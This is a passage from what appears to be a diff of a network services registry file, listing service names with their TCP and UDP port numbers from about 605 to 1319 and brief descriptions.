SOAP over BEEP +soap-beep 605/udp SOAP over BEEP +urm 606/tcp Cray Unified Resource Manager +urm 606/udp Cray Unified Resource Manager +nqs 607/tcp nqs +nqs 607/udp nqs +sift-uft 608/tcp Sender-Initiated/Unsolicited File Transfer +sift-uft 608/udp Sender-Initiated/Unsolicited File Transfer +npmp-trap 609/tcp npmp-trap +npmp-trap 609/udp npmp-trap +npmp-local 610/tcp npmp-local +npmp-local 610/udp npmp-local +npmp-gui 611/tcp npmp-gui +npmp-gui 611/udp npmp-gui +hmmp-ind 612/tcp HMMP Indication +hmmp-ind 612/udp HMMP Indication +hmmp-op 613/tcp HMMP Operation +hmmp-op 613/udp HMMP Operation +sshell 614/tcp SSLshell +sshell 614/udp SSLshell +sco-inetmgr 615/tcp Internet Configuration Manager +sco-inetmgr 615/udp Internet Configuration Manager +sco-sysmgr 616/tcp SCO System Administration Server +sco-sysmgr 616/udp SCO System Administration Server +sco-dtmgr 617/tcp SCO Desktop Administration Server +sco-dtmgr 617/udp SCO Desktop Administration Server +dei-icda 618/tcp DEI-ICDA +dei-icda 618/udp DEI-ICDA +compaq-evm 619/tcp Compaq EVM +compaq-evm 619/udp Compaq EVM +sco-websrvrmgr 620/tcp SCO WebServer Manager +sco-websrvrmgr 620/udp SCO WebServer Manager +escp-ip 621/tcp ESCP +escp-ip 621/udp ESCP +collaborator 622/tcp Collaborator +collaborator 622/udp Collaborator +asf-rmcp 623/tcp ASF Remote Management and Control Protocol +asf-rmcp 623/udp ASF Remote Management and Control Protocol +cryptoadmin 624/tcp Crypto Admin +cryptoadmin 624/udp Crypto Admin +dec_dlm 625/tcp DEC DLM +dec_dlm 625/udp DEC DLM +asia 626/tcp ASIA +asia 626/udp ASIA +passgo-tivoli 627/tcp PassGo Tivoli +passgo-tivoli 627/udp PassGo Tivoli +qmqp 628/tcp QMQP +qmqp 628/udp QMQP +3com-amp3 629/tcp 3Com AMP3 +3com-amp3 629/udp 3Com AMP3 +rda 630/tcp RDA +rda 630/udp RDA +ipp 631/tcp IPP (Internet Printing Protocol) +ipp 631/udp IPP (Internet Printing Protocol) +bmpp 632/tcp bmpp +bmpp 632/udp bmpp +servstat 633/tcp Service Status update (Sterling Software) +servstat 633/udp Service Status update (Sterling Software) +ginad 634/tcp ginad +ginad 634/udp ginad +rlzdbase 635/tcp RLZ DBase +rlzdbase 635/udp RLZ DBase +ldaps 636/tcp ldap protocol over TLS/SSL (was sldap) +ldaps 636/udp ldap protocol over TLS/SSL (was sldap) +lanserver 637/tcp lanserver +lanserver 637/udp lanserver +mcns-sec 638/tcp mcns-sec +mcns-sec 638/udp mcns-sec +msdp 639/tcp MSDP +msdp 639/udp MSDP +entrust-sps 640/tcp entrust-sps +entrust-sps 640/udp entrust-sps +repcmd 641/tcp repcmd +repcmd 641/udp repcmd +esro-emsdp 642/tcp ESRO-EMSDP V1.3 +esro-emsdp 642/udp ESRO-EMSDP V1.3 +sanity 643/tcp SANity +sanity 643/udp SANity +dwr 644/tcp dwr +dwr 644/udp dwr +pssc 645/tcp PSSC +pssc 645/udp PSSC +ldp 646/tcp LDP +ldp 646/udp LDP +dhcp-failover 647/tcp DHCP Failover +dhcp-failover 647/udp DHCP Failover +rrp 648/tcp Registry Registrar Protocol (RRP) +rrp 648/udp Registry Registrar Protocol (RRP) +cadview-3d 649/tcp Cadview-3d - streaming 3d models over the internet +cadview-3d 649/udp Cadview-3d - streaming 3d models over the internet +obex 650/tcp OBEX +obex 650/udp OBEX +ieee-mms 651/tcp IEEE MMS +ieee-mms 651/udp IEEE MMS +hello-port 652/tcp HELLO_PORT +hello-port 652/udp HELLO_PORT +repscmd 653/tcp RepCmd +repscmd 653/udp RepCmd +aodv 654/tcp AODV +aodv 654/udp AODV +tinc 655/tcp TINC +tinc 655/udp TINC +spmp 656/tcp SPMP +spmp 656/udp SPMP +rmc 657/tcp RMC +rmc 657/udp RMC +tenfold 658/tcp TenFold +tenfold 658/udp TenFold +mac-srvr-admin 660/tcp MacOS Server Admin +mac-srvr-admin 660/udp MacOS Server Admin +hap 661/tcp HAP +hap 661/udp HAP +pftp 662/tcp PFTP +pftp 662/udp PFTP +purenoise 663/tcp PureNoise +purenoise 663/udp PureNoise +asf-secure-rmcp 664/tcp ASF Secure Remote Management and Control Protocol +asf-secure-rmcp 664/udp ASF Secure Remote Management and Control Protocol +sun-dr 665/tcp Sun DR +sun-dr 665/udp Sun DR +mdqs 666/tcp +mdqs 666/udp +doom 666/tcp doom Id Software +doom 666/udp doom Id Software +disclose 667/tcp campaign contribution disclosures - SDR Technologies +disclose 667/udp campaign contribution disclosures - SDR Technologies +mecomm 668/tcp MeComm +mecomm 668/udp MeComm +meregister 669/tcp MeRegister +meregister 669/udp MeRegister +vacdsm-sws 670/tcp VACDSM-SWS +vacdsm-sws 670/udp VACDSM-SWS +vacdsm-app 671/tcp VACDSM-APP +vacdsm-app 671/udp VACDSM-APP +vpps-qua 672/tcp VPPS-QUA +vpps-qua 672/udp VPPS-QUA +cimplex 673/tcp CIMPLEX +cimplex 673/udp CIMPLEX +acap 674/tcp ACAP +acap 674/udp ACAP +dctp 675/tcp DCTP +dctp 675/udp DCTP +vpps-via 676/tcp VPPS Via +vpps-via 676/udp VPPS Via +vpp 677/tcp Virtual Presence Protocol +vpp 677/udp Virtual Presence Protocol +ggf-ncp 678/tcp GNU Generation Foundation NCP +ggf-ncp 678/udp GNU Generation Foundation NCP +mrm 679/tcp MRM +mrm 679/udp MRM +entrust-aaas 680/tcp entrust-aaas +entrust-aaas 680/udp entrust-aaas +entrust-aams 681/tcp entrust-aams +entrust-aams 681/udp entrust-aams +xfr 682/tcp XFR +xfr 682/udp XFR +corba-iiop 683/tcp CORBA IIOP +corba-iiop 683/udp CORBA IIOP +corba-iiop-ssl 684/tcp CORBA IIOP SSL +corba-iiop-ssl 684/udp CORBA IIOP SSL +mdc-portmapper 685/tcp MDC Port Mapper +mdc-portmapper 685/udp MDC Port Mapper +hcp-wismar 686/tcp Hardware Control Protocol Wismar +hcp-wismar 686/udp Hardware Control Protocol Wismar +asipregistry 687/tcp asipregistry +asipregistry 687/udp asipregistry +realm-rusd 688/tcp REALM-RUSD +realm-rusd 688/udp REALM-RUSD +nmap 689/tcp NMAP +nmap 689/udp NMAP +vatp 690/tcp VATP +vatp 690/udp VATP +msexch-routing 691/tcp MS Exchange Routing +msexch-routing 691/udp MS Exchange Routing +hyperwave-isp 692/tcp Hyperwave-ISP +hyperwave-isp 692/udp Hyperwave-ISP +connendp 693/tcp connendp +connendp 693/udp connendp +ha-cluster 694/tcp ha-cluster +ha-cluster 694/udp ha-cluster +ieee-mms-ssl 695/tcp IEEE-MMS-SSL +ieee-mms-ssl 695/udp IEEE-MMS-SSL +rushd 696/tcp RUSHD +rushd 696/udp RUSHD +uuidgen 697/tcp UUIDGEN +uuidgen 697/udp UUIDGEN +olsr 698/tcp OLSR +olsr 698/udp OLSR +accessnetwork 699/tcp Access Network +accessnetwork 699/udp Access Network +epp 700/tcp Extensible Provisioning Protocol +epp 700/udp Extensible Provisioning Protocol +lmp 701/tcp Link Management Protocol (LMP) +lmp 701/udp Link Management Protocol (LMP) +elcsd 704/tcp errlog copy/server daemon +elcsd 704/udp errlog copy/server daemon +agentx 705/tcp AgentX +agentx 705/udp AgentX +silc 706/tcp SILC +silc 706/udp SILC +borland-dsj 707/tcp Borland DSJ +borland-dsj 707/udp Borland DSJ +entrust-kmsh 709/tcp Entrust Key Management Service Handler +entrust-kmsh 709/udp Entrust Key Management Service Handler +entrust-ash 710/tcp Entrust Administration Service Handler +entrust-ash 710/udp Entrust Administration Service Handler +cisco-tdp 711/tcp Cisco TDP +cisco-tdp 711/udp Cisco TDP +tbrpf 712/tcp TBRPF +tbrpf 712/udp TBRPF +netviewdm1 729/tcp IBM NetView DM/6000 Server/Client +netviewdm1 729/udp IBM NetView DM/6000 Server/Client +netviewdm2 730/tcp IBM NetView DM/6000 send/tcp +netviewdm2 730/udp IBM NetView DM/6000 send/tcp +netviewdm3 731/tcp IBM NetView DM/6000 receive/tcp +netviewdm3 731/udp IBM NetView DM/6000 receive/tcp +netgw 741/tcp netGW +netgw 741/udp netGW +netrcs 742/tcp Network based Rev. Cont. Sys. +netrcs 742/udp Network based Rev. Cont. Sys. +flexlm 744/tcp Flexible License Manager +flexlm 744/udp Flexible License Manager +fujitsu-dev 747/tcp Fujitsu Device Control +fujitsu-dev 747/udp Fujitsu Device Control +ris-cm 748/tcp Russell Info Sci Calendar Manager +ris-cm 748/udp Russell Info Sci Calendar Manager +kerberos-adm 749/tcp kerberos administration +kerberos-adm 749/udp kerberos administration +rfile 750/tcp +loadav 750/udp +kerberos-iv 750/udp kerberos version iv +pump 751/tcp +pump 751/udp +qrh 752/tcp +qrh 752/udp +rrh 753/tcp +rrh 753/udp +tell 754/tcp send +tell 754/udp send +nlogin 758/tcp +nlogin 758/udp +con 759/tcp +con 759/udp +ns 760/tcp +ns 760/udp +rxe 761/tcp +rxe 761/udp +quotad 762/tcp +quotad 762/udp +cycleserv 763/tcp +cycleserv 763/udp +omserv 764/tcp +omserv 764/udp +webster 765/tcp +webster 765/udp +phonebook 767/tcp phone +phonebook 767/udp phone +vid 769/tcp +vid 769/udp +cadlock 770/tcp +cadlock 770/udp +rtip 771/tcp +rtip 771/udp +cycleserv2 772/tcp +cycleserv2 772/udp +submit 773/tcp +notify 773/udp +rpasswd 774/tcp +acmaint_dbd 774/udp +entomb 775/tcp +acmaint_transd 775/udp +wpages 776/tcp +wpages 776/udp +multiling-http 777/tcp Multiling HTTP +multiling-http 777/udp Multiling HTTP +wpgs 780/tcp +wpgs 780/udp +mdbs_daemon 800/tcp +mdbs_daemon 800/udp +device 801/tcp +device 801/udp +fcp-udp 810/tcp FCP +fcp-udp 810/udp FCP Datagram +itm-mcell-s 828/tcp itm-mcell-s +itm-mcell-s 828/udp itm-mcell-s +pkix-3-ca-ra 829/tcp PKIX-3 CA/RA +pkix-3-ca-ra 829/udp PKIX-3 CA/RA +dhcp-failover2 847/tcp dhcp-failover 2 +dhcp-failover2 847/udp dhcp-failover 2 +gdoi 848/tcp GDOI +gdoi 848/udp GDOI +iscsi 860/tcp iSCSI +iscsi 860/udp iSCSI +rsync 873/tcp rsync +rsync 873/udp rsync +iclcnet-locate 886/tcp ICL coNETion locate server +iclcnet-locate 886/udp ICL coNETion locate server +iclcnet_svinfo 887/tcp ICL coNETion server info +iclcnet_svinfo 887/udp ICL coNETion server info +accessbuilder 888/tcp AccessBuilder +accessbuilder 888/udp AccessBuilder +cddbp 888/tcp CD Database Protocol +omginitialrefs 900/tcp OMG Initial Refs +omginitialrefs 900/udp OMG Initial Refs +smpnameres 901/tcp SMPNAMERES +smpnameres 901/udp SMPNAMERES +ideafarm-chat 902/tcp IDEAFARM-CHAT +ideafarm-chat 902/udp IDEAFARM-CHAT +ideafarm-catch 903/tcp IDEAFARM-CATCH +ideafarm-catch 903/udp IDEAFARM-CATCH +xact-backup 911/tcp xact-backup +xact-backup 911/udp xact-backup +apex-mesh 912/tcp APEX relay-relay service +apex-mesh 912/udp APEX relay-relay service +apex-edge 913/tcp APEX endpoint-relay service +apex-edge 913/udp APEX endpoint-relay service +ftps-data 989/tcp ftp protocol, data, over TLS/SSL +ftps-data 989/udp ftp protocol, data, over TLS/SSL +ftps 990/tcp ftp protocol, control, over TLS/SSL +ftps 990/udp ftp protocol, control, over TLS/SSL +nas 991/tcp Netnews Administration System +nas 991/udp Netnews Administration System +telnets 992/tcp telnet protocol over TLS/SSL +telnets 992/udp telnet protocol over TLS/SSL +imaps 993/tcp imap4 protocol over TLS/SSL +imaps 993/udp imap4 protocol over TLS/SSL +ircs 994/tcp irc protocol over TLS/SSL +ircs 994/udp irc protocol over TLS/SSL +pop3s 995/tcp pop3 protocol over TLS/SSL (was spop3) +pop3s 995/udp pop3 protocol over TLS/SSL (was spop3) +vsinet 996/tcp vsinet +vsinet 996/udp vsinet +maitrd 997/tcp +maitrd 997/udp +busboy 998/tcp +puparp 998/udp +garcon 999/tcp +applix 999/udp Applix ac +puprouter 999/tcp +puprouter 999/udp +cadlock2 1000/tcp +cadlock2 1000/udp +surf 1010/tcp surf +surf 1010/udp surf +reserved 1023/tcp Reserved +reserved 1023/udp Reserved +reserved 1024/tcp Reserved +reserved 1024/udp Reserved +blackjack 1025/tcp network blackjack +blackjack 1025/udp network blackjack +cap 1026/tcp Calender Access Protocol +cap 1026/udp Calender Access Protocol +exosee 1027/tcp ExoSee +exosee 1027/udp ExoSee +iad1 1030/tcp BBN IAD +iad1 1030/udp BBN IAD +iad2 1031/tcp BBN IAD +iad2 1031/udp BBN IAD +iad3 1032/tcp BBN IAD +iad3 1032/udp BBN IAD +netinfo-local 1033/tcp local netinfo port +netinfo-local 1033/udp local netinfo port +activesync 1034/tcp ActiveSync Notifications +activesync 1034/udp ActiveSync Notifications +mxxrlogin 1035/tcp MX-XR RPC +mxxrlogin 1035/udp MX-XR RPC +nsstp 1036/tcp Nebula Secure Segment Transfer Protocol +nsstp 1036/udp Nebula Secure Segment Transfer Protocol +ams 1037/tcp AMS +ams 1037/udp AMS +mtqp 1038/tcp Message Tracking Query Protocol +mtqp 1038/udp Message Tracking Query Protocol +netarx 1040/tcp Netarx +netarx 1040/udp Netarx +fpitp 1045/tcp Fingerprint Image Transfer Protocol +fpitp 1045/udp Fingerprint Image Transfer Protocol +neod1 1047/tcp Sun's NEO Object Request Broker +neod1 1047/udp Sun's NEO Object Request Broker +neod2 1048/tcp Sun's NEO Object Request Broker +neod2 1048/udp Sun's NEO Object Request Broker +td-postman 1049/tcp Tobit David Postman VPMN +td-postman 1049/udp Tobit David Postman VPMN +cma 1050/tcp CORBA Management Agent +cma 1050/udp CORBA Management Agent +optima-vnet 1051/tcp Optima VNET +optima-vnet 1051/udp Optima VNET +ddt 1052/tcp Dynamic DNS Tools +ddt 1052/udp Dynamic DNS Tools +remote-as 1053/tcp Remote Assistant (RA) +remote-as 1053/udp Remote Assistant (RA) +brvread 1054/tcp BRVREAD +brvread 1054/udp BRVREAD +ansyslmd 1055/tcp ANSYS - License Manager +ansyslmd 1055/udp ANSYS - License Manager +vfo 1056/tcp VFO +vfo 1056/udp VFO +startron 1057/tcp STARTRON +startron 1057/udp STARTRON +nim 1058/tcp nim +nim 1058/udp nim +nimreg 1059/tcp nimreg +nimreg 1059/udp nimreg +polestar 1060/tcp POLESTAR +polestar 1060/udp POLESTAR +kiosk 1061/tcp KIOSK +kiosk 1061/udp KIOSK +veracity 1062/tcp Veracity +veracity 1062/udp Veracity +kyoceranetdev 1063/tcp KyoceraNetDev +kyoceranetdev 1063/udp KyoceraNetDev +jstel 1064/tcp JSTEL +jstel 1064/udp JSTEL +syscomlan 1065/tcp SYSCOMLAN +syscomlan 1065/udp SYSCOMLAN +fpo-fns 1066/tcp FPO-FNS +fpo-fns 1066/udp FPO-FNS +instl_boots 1067/tcp Installation Bootstrap Proto. Serv. +instl_boots 1067/udp Installation Bootstrap Proto. Serv. +instl_bootc 1068/tcp Installation Bootstrap Proto. Cli. +instl_bootc 1068/udp Installation Bootstrap Proto. Cli. +cognex-insight 1069/tcp COGNEX-INSIGHT +cognex-insight 1069/udp COGNEX-INSIGHT +gmrupdateserv 1070/tcp GMRUpdateSERV +gmrupdateserv 1070/udp GMRUpdateSERV +bsquare-voip 1071/tcp BSQUARE-VOIP +bsquare-voip 1071/udp BSQUARE-VOIP +cardax 1072/tcp CARDAX +cardax 1072/udp CARDAX +bridgecontrol 1073/tcp Bridge Control +bridgecontrol 1073/udp Bridge Control +fastechnologlm 1074/tcp FASTechnologies License Manager +fastechnologlm 1074/udp FASTechnologies License Manager +rdrmshc 1075/tcp RDRMSHC +rdrmshc 1075/udp RDRMSHC +dab-sti-c 1076/tcp DAB STI-C +dab-sti-c 1076/udp DAB STI-C +imgames 1077/tcp IMGames +imgames 1077/udp IMGames +avocent-proxy 1078/tcp Avocent Proxy Protocol +avocent-proxy 1078/udp Avocent Proxy Protocol +asprovatalk 1079/tcp ASPROVATalk +asprovatalk 1079/udp ASPROVATalk +socks 1080/tcp Socks +socks 1080/udp Socks +pvuniwien 1081/tcp PVUNIWIEN +pvuniwien 1081/udp PVUNIWIEN +amt-esd-prot 1082/tcp AMT-ESD-PROT +amt-esd-prot 1082/udp AMT-ESD-PROT +ansoft-lm-1 1083/tcp Anasoft License Manager +ansoft-lm-1 1083/udp Anasoft License Manager +ansoft-lm-2 1084/tcp Anasoft License Manager +ansoft-lm-2 1084/udp Anasoft License Manager +webobjects 1085/tcp Web Objects +webobjects 1085/udp Web Objects +cplscrambler-lg 1086/tcp CPL Scrambler Logging +cplscrambler-lg 1086/udp CPL Scrambler Logging +cplscrambler-in 1087/tcp CPL Scrambler Internal +cplscrambler-in 1087/udp CPL Scrambler Internal +cplscrambler-al 1088/tcp CPL Scrambler Alarm Log +cplscrambler-al 1088/udp CPL Scrambler Alarm Log +ff-annunc 1089/tcp FF Annunciation +ff-annunc 1089/udp FF Annunciation +ff-fms 1090/tcp FF Fieldbus Message Specification +ff-fms 1090/udp FF Fieldbus Message Specification +ff-sm 1091/tcp FF System Management +ff-sm 1091/udp FF System Management +obrpd 1092/tcp Open Business Reporting Protocol +obrpd 1092/udp Open Business Reporting Protocol +proofd 1093/tcp PROOFD +proofd 1093/udp PROOFD +rootd 1094/tcp ROOTD +rootd 1094/udp ROOTD +nicelink 1095/tcp NICELink +nicelink 1095/udp NICELink +cnrprotocol 1096/tcp Common Name Resolution Protocol +cnrprotocol 1096/udp Common Name Resolution Protocol +sunclustermgr 1097/tcp Sun Cluster Manager +sunclustermgr 1097/udp Sun Cluster Manager +rmiactivation 1098/tcp RMI Activation +rmiactivation 1098/udp RMI Activation +rmiregistry 1099/tcp RMI Registry +rmiregistry 1099/udp RMI Registry +mctp 1100/tcp MCTP +mctp 1100/udp MCTP +pt2-discover 1101/tcp PT2-DISCOVER +pt2-discover 1101/udp PT2-DISCOVER +adobeserver-1 1102/tcp ADOBE SERVER 1 +adobeserver-1 1102/udp ADOBE SERVER 1 +adobeserver-2 1103/tcp ADOBE SERVER 2 +adobeserver-2 1103/udp ADOBE SERVER 2 +xrl 1104/tcp XRL +xrl 1104/udp XRL +ftranhc 1105/tcp FTRANHC +ftranhc 1105/udp FTRANHC +isoipsigport-1 1106/tcp ISOIPSIGPORT-1 +isoipsigport-1 1106/udp ISOIPSIGPORT-1 +isoipsigport-2 1107/tcp ISOIPSIGPORT-2 +isoipsigport-2 1107/udp ISOIPSIGPORT-2 +ratio-adp 1108/tcp ratio-adp +ratio-adp 1108/udp ratio-adp +nfsd-status 1110/tcp Cluster status info +nfsd-keepalive 1110/udp Client status info +lmsocialserver 1111/tcp LM Social Server +lmsocialserver 1111/udp LM Social Server +icp 1112/tcp Intelligent Communication Protocol +icp 1112/udp Intelligent Communication Protocol +mini-sql 1114/tcp Mini SQL +mini-sql 1114/udp Mini SQL +ardus-trns 1115/tcp ARDUS Transfer +ardus-trns 1115/udp ARDUS Transfer +ardus-cntl 1116/tcp ARDUS Control +ardus-cntl 1116/udp ARDUS Control +ardus-mtrns 1117/tcp ARDUS Multicast Transfer +ardus-mtrns 1117/udp ARDUS Multicast Transfer +sacred 1118/tcp SACRED +sacred 1118/udp SACRED +rmpp 1121/tcp Datalode RMPP +rmpp 1121/udp Datalode RMPP +availant-mgr 1122/tcp availant-mgr +availant-mgr 1122/udp availant-mgr +murray 1123/tcp Murray +murray 1123/udp Murray +nfa 1155/tcp Network File Access +nfa 1155/udp Network File Access +health-polling 1161/tcp Health Polling +health-polling 1161/udp Health Polling +health-trap 1162/tcp Health Trap +health-trap 1162/udp Health Trap +vchat 1168/tcp VChat Conference Service +vchat 1168/udp VChat Conference Service +tripwire 1169/tcp TRIPWIRE +tripwire 1169/udp TRIPWIRE +atc-lm 1170/tcp AT+C License Manager +atc-lm 1170/udp AT+C License Manager +atc-appserver 1171/tcp AT+C FmiApplicationServer +atc-appserver 1171/udp AT+C FmiApplicationServer +mc-client 1180/tcp Millicent Client Proxy +mc-client 1180/udp Millicent Client Proxy +llsurfup-http 1183/tcp LL Surfup HTTP +llsurfup-http 1183/udp LL Surfup HTTP +llsurfup-https 1184/tcp LL Surfup HTTPS +llsurfup-https 1184/udp LL Surfup HTTPS +catchpole 1185/tcp Catchpole port +catchpole 1185/udp Catchpole port +hp-webadmin 1188/tcp HP Web Admin +hp-webadmin 1188/udp HP Web Admin +dmidi 1199/tcp DMIDI +dmidi 1199/udp DMIDI +scol 1200/tcp SCOL +scol 1200/udp SCOL +nucleus-sand 1201/tcp Nucleus Sand +nucleus-sand 1201/udp Nucleus Sand +caiccipc 1202/tcp caiccipc +caiccipc 1202/udp caiccipc +ssslic-mgr 1203/tcp License Validation +ssslic-mgr 1203/udp License Validation +ssslog-mgr 1204/tcp Log Request Listener +ssslog-mgr 1204/udp Log Request Listener +accord-mgc 1205/tcp Accord-MGC +accord-mgc 1205/udp Accord-MGC +anthony-data 1206/tcp Anthony Data +anthony-data 1206/udp Anthony Data +metasage 1207/tcp MetaSage +metasage 1207/udp MetaSage +seagull-ais 1208/tcp SEAGULL AIS +seagull-ais 1208/udp SEAGULL AIS +ipcd3 1209/tcp IPCD3 +ipcd3 1209/udp IPCD3 +eoss 1210/tcp EOSS +eoss 1210/udp EOSS +groove-dpp 1211/tcp Groove DPP +groove-dpp 1211/udp Groove DPP +lupa 1212/tcp lupa +lupa 1212/udp lupa +mpc-lifenet 1213/tcp MPC LIFENET +mpc-lifenet 1213/udp MPC LIFENET +kazaa 1214/tcp KAZAA +kazaa 1214/udp KAZAA +scanstat-1 1215/tcp scanSTAT 1.0 +scanstat-1 1215/udp scanSTAT 1.0 +etebac5 1216/tcp ETEBAC 5 +etebac5 1216/udp ETEBAC 5 +hpss-ndapi 1217/tcp HPSS-NDAPI +hpss-ndapi 1217/udp HPSS-NDAPI +aeroflight-ads 1218/tcp AeroFlight-ADs +aeroflight-ads 1218/udp AeroFlight-ADs +aeroflight-ret 1219/tcp AeroFlight-Ret +aeroflight-ret 1219/udp AeroFlight-Ret +qt-serveradmin 1220/tcp QT SERVER ADMIN +qt-serveradmin 1220/udp QT SERVER ADMIN +sweetware-apps 1221/tcp SweetWARE Apps +sweetware-apps 1221/udp SweetWARE Apps +nerv 1222/tcp SNI R&D network +nerv 1222/udp SNI R&D network +tgp 1223/tcp TGP +tgp 1223/udp TGP +vpnz 1224/tcp VPNz +vpnz 1224/udp VPNz +slinkysearch 1225/tcp SLINKYSEARCH +slinkysearch 1225/udp SLINKYSEARCH +stgxfws 1226/tcp STGXFWS +stgxfws 1226/udp STGXFWS +dns2go 1227/tcp DNS2Go +dns2go 1227/udp DNS2Go +florence 1228/tcp FLORENCE +florence 1228/udp FLORENCE +novell-zfs 1229/tcp Novell ZFS +novell-zfs 1229/udp Novell ZFS +periscope 1230/tcp Periscope +periscope 1230/udp Periscope +menandmice-lpm 1231/tcp menandmice-lpm +menandmice-lpm 1231/udp menandmice-lpm +univ-appserver 1233/tcp Universal App Server +univ-appserver 1233/udp Universal App Server +search-agent 1234/tcp Infoseek Search Agent +search-agent 1234/udp Infoseek Search Agent +mosaicsyssvc1 1235/tcp mosaicsyssvc1 +mosaicsyssvc1 1235/udp mosaicsyssvc1 +bvcontrol 1236/tcp bvcontrol +bvcontrol 1236/udp bvcontrol +tsdos390 1237/tcp tsdos390 +tsdos390 1237/udp tsdos390 +hacl-qs 1238/tcp hacl-qs +hacl-qs 1238/udp hacl-qs +nmsd 1239/tcp NMSD +nmsd 1239/udp NMSD +instantia 1240/tcp Instantia +instantia 1240/udp Instantia +nessus 1241/tcp nessus +nessus 1241/udp nessus +nmasoverip 1242/tcp NMAS over IP +nmasoverip 1242/udp NMAS over IP +serialgateway 1243/tcp SerialGateway +serialgateway 1243/udp SerialGateway +isbconference1 1244/tcp isbconference1 +isbconference1 1244/udp isbconference1 +isbconference2 1245/tcp isbconference2 +isbconference2 1245/udp isbconference2 +payrouter 1246/tcp payrouter +payrouter 1246/udp payrouter +visionpyramid 1247/tcp VisionPyramid +visionpyramid 1247/udp VisionPyramid +hermes 1248/tcp hermes +hermes 1248/udp hermes +mesavistaco 1249/tcp Mesa Vista Co +mesavistaco 1249/udp Mesa Vista Co +swldy-sias 1250/tcp swldy-sias +swldy-sias 1250/udp swldy-sias +servergraph 1251/tcp servergraph +servergraph 1251/udp servergraph +bspne-pcc 1252/tcp bspne-pcc +bspne-pcc 1252/udp bspne-pcc +q55-pcc 1253/tcp q55-pcc +q55-pcc 1253/udp q55-pcc +de-noc 1254/tcp de-noc +de-noc 1254/udp de-noc +de-cache-query 1255/tcp de-cache-query +de-cache-query 1255/udp de-cache-query +de-server 1256/tcp de-server +de-server 1256/udp de-server +shockwave2 1257/tcp Shockwave 2 +shockwave2 1257/udp Shockwave 2 +opennl 1258/tcp Open Network Library +opennl 1258/udp Open Network Library +opennl-voice 1259/tcp Open Network Library Voice +opennl-voice 1259/udp Open Network Library Voice +ibm-ssd 1260/tcp ibm-ssd +ibm-ssd 1260/udp ibm-ssd +mpshrsv 1261/tcp mpshrsv +mpshrsv 1261/udp mpshrsv +qnts-orb 1262/tcp QNTS-ORB +qnts-orb 1262/udp QNTS-ORB +dka 1263/tcp dka +dka 1263/udp dka +prat 1264/tcp PRAT +prat 1264/udp PRAT +dssiapi 1265/tcp DSSIAPI +dssiapi 1265/udp DSSIAPI +dellpwrappks 1266/tcp DELLPWRAPPKS +dellpwrappks 1266/udp DELLPWRAPPKS +epc 1267/tcp eTrust Policy Compliance +epc 1267/udp eTrust Policy Compliance +propel-msgsys 1268/tcp PROPEL-MSGSYS +propel-msgsys 1268/udp PROPEL-MSGSYS +watilapp 1269/tcp WATiLaPP +watilapp 1269/udp WATiLaPP +opsmgr 1270/tcp Microsoft Operations Manager +opsmgr 1270/udp Microsoft Operations Manager +excw 1271/tcp eXcW +excw 1271/udp eXcW +cspmlockmgr 1272/tcp CSPMLockMgr +cspmlockmgr 1272/udp CSPMLockMgr +emc-gateway 1273/tcp EMC-Gateway +emc-gateway 1273/udp EMC-Gateway +t1distproc 1274/tcp t1distproc +t1distproc 1274/udp t1distproc +ivcollector 1275/tcp ivcollector +ivcollector 1275/udp ivcollector +ivmanager 1276/tcp ivmanager +ivmanager 1276/udp ivmanager +miva-mqs 1277/tcp mqs +miva-mqs 1277/udp mqs +dellwebadmin-1 1278/tcp Dell Web Admin 1 +dellwebadmin-1 1278/udp Dell Web Admin 1 +dellwebadmin-2 1279/tcp Dell Web Admin 2 +dellwebadmin-2 1279/udp Dell Web Admin 2 +pictrography 1280/tcp Pictrography +pictrography 1280/udp Pictrography +healthd 1281/tcp healthd +healthd 1281/udp healthd +emperion 1282/tcp Emperion +emperion 1282/udp Emperion +productinfo 1283/tcp ProductInfo +productinfo 1283/udp ProductInfo +iee-qfx 1284/tcp IEE-QFX +iee-qfx 1284/udp IEE-QFX +neoiface 1285/tcp neoiface +neoiface 1285/udp neoiface +netuitive 1286/tcp netuitive +netuitive 1286/udp netuitive +navbuddy 1288/tcp NavBuddy +navbuddy 1288/udp NavBuddy +jwalkserver 1289/tcp JWalkServer +jwalkserver 1289/udp JWalkServer +winjaserver 1290/tcp WinJaServer +winjaserver 1290/udp WinJaServer +seagulllms 1291/tcp SEAGULLLMS +seagulllms 1291/udp SEAGULLLMS +dsdn 1292/tcp dsdn +dsdn 1292/udp dsdn +pkt-krb-ipsec 1293/tcp PKT-KRB-IPSec +pkt-krb-ipsec 1293/udp PKT-KRB-IPSec +cmmdriver 1294/tcp CMMdriver +cmmdriver 1294/udp CMMdriver +ehtp 1295/tcp End-by-Hop Transmission Protocol +ehtp 1295/udp End-by-Hop Transmission Protocol +dproxy 1296/tcp dproxy +dproxy 1296/udp dproxy +sdproxy 1297/tcp sdproxy +sdproxy 1297/udp sdproxy +lpcp 1298/tcp lpcp +lpcp 1298/udp lpcp +hp-sci 1299/tcp hp-sci +hp-sci 1299/udp hp-sci +h323hostcallsc 1300/tcp H323 Host Call Secure +h323hostcallsc 1300/udp H323 Host Call Secure +ci3-software-1 1301/tcp CI3-Software-1 +ci3-software-1 1301/udp CI3-Software-1 +ci3-software-2 1302/tcp CI3-Software-2 +ci3-software-2 1302/udp CI3-Software-2 +sftsrv 1303/tcp sftsrv +sftsrv 1303/udp sftsrv +boomerang 1304/tcp Boomerang +boomerang 1304/udp Boomerang +pe-mike 1305/tcp pe-mike +pe-mike 1305/udp pe-mike +re-conn-proto 1306/tcp RE-Conn-Proto +re-conn-proto 1306/udp RE-Conn-Proto +pacmand 1307/tcp Pacmand +pacmand 1307/udp Pacmand +odsi 1308/tcp Optical Domain Service Interconnect (ODSI) +odsi 1308/udp Optical Domain Service Interconnect (ODSI) +jtag-server 1309/tcp JTAG server +jtag-server 1309/udp JTAG server +husky 1310/tcp Husky +husky 1310/udp Husky +rxmon 1311/tcp RxMon +rxmon 1311/udp RxMon +sti-envision 1312/tcp STI Envision +sti-envision 1312/udp STI Envision +bmc_patroldb 1313/tcp BMC_PATROLDB +bmc_patroldb 1313/udp BMC_PATROLDB +pdps 1314/tcp Photoscript Distributed Printing System +pdps 1314/udp Photoscript Distributed Printing System +els 1315/tcp E.L.S., Event Listener Service +els 1315/udp E.L.S., Event Listener Service +exbit-escp 1316/tcp Exbit-ESCP +exbit-escp 1316/udp Exbit-ESCP +vrts-ipcserver 1317/tcp vrts-ipcserver +vrts-ipcserver 1317/udp vrts-ipcserver +krb5gatekeeper 1318/tcp krb5gatekeeper +krb5gatekeeper 1318/udp krb5gatekeeper +panja-icsp 1319/tcp Panja-ICSP +panja-icsp 1319/udp Panja-ICSP +panja-axbnet 